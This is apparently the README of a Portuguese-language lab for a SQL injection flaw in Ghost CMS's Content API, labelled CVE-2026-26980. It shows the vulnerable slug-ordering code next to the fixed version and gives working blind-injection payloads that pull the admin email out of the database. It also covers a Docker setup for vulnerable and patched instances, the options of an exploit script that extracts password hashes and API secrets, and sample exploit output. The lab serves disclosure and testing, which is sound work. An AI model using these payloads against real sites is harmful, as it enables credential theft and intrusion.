// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERÁVEL)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL passa as aspas como caracteres literais

CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

// CORRIGIDO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

# Clone e entre no laboratório
git clone <este-repo> && cd ghost-cve-2026-26980

# Instale a dependência Python
pip install -r requirements.txt

# Inicie a instância Ghost vulnerável (6.18.0 + MySQL 8)
docker compose up -d

# Aguarde ~45 segundos para o Ghost inicializar e então execute o exploit
python3 exploit.py --url http://localhost:2368

# Também inicie o Ghost 6.19.1 corrigido na porta 2369
docker compose --profile fixed up -d

# Aguarde ~45 segundos e confirme que a correção bloqueia a injeção
python3 exploit.py --url http://localhost:2369 --validate-fix

bash validate.sh

docker compose --profile fixed down -v

usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            URL do Ghost (padrão: http://localhost:2368)
  --validate-fix       Confirma que o alvo NÃO é vulnerável
  --extract-password   Também extrai o hash bcrypt do admin
  --extract-api-key    Também extrai o segredo da API do admin
  --content-key KEY    Pula a configuração, usa esta chave da Content API diretamente
  -v, --verbose        Mostra resultados do oráculo por consulta

====================================================
CVE-2026-26980 — Injeção SQL na Content API do Ghost CMS
====================================================

[*] Aguardando o Ghost em http://localhost:2368 ficar pronto
[*] Configurando o Ghost (admin: [email protected])
[+] Configuração concluída — estabelecendo sessão
[+] Conectado
[+] Chave da Content API: ad63c06a71457583ea58f050c1
[+] Slug âncora: news

[*] Fase 1 — verificação cega booleana
  CASE WHEN 1=1:  200 (VERDADEIRO)
  CASE WHEN 1=0:  500 (FALSO)
  [+] Oráculo booleano confirmado — VULNERÁVEL

[*] Fase 2a — extraindo email do admin
  Medindo o comprimento do email do admin... 21 caracteres
  Extraindo: [email protected]
  [+] Email: [email protected]

============================================================
  RESUMO DA EXPLORAÇÃO
============================================================
  Alvo:          http://localhost:2368
  CVE:           CVE-2026-26980
  Chave de conteúdo:   ad63c06a71457583ea58f050c1
  Email do admin:   [email protected]
============================================================

.
├── README.md              # Este arquivo
├── docker-compose.yml     # Ghost 6.18.0 (vuln) + 6.19.1 (corrigido) com MySQL 8
├── exploit.py             # PoC completo: configuração, verificação, extração
├── validate.sh            # Wrapper de validação ponta a ponta
└── requirements.txt       # Dependências Python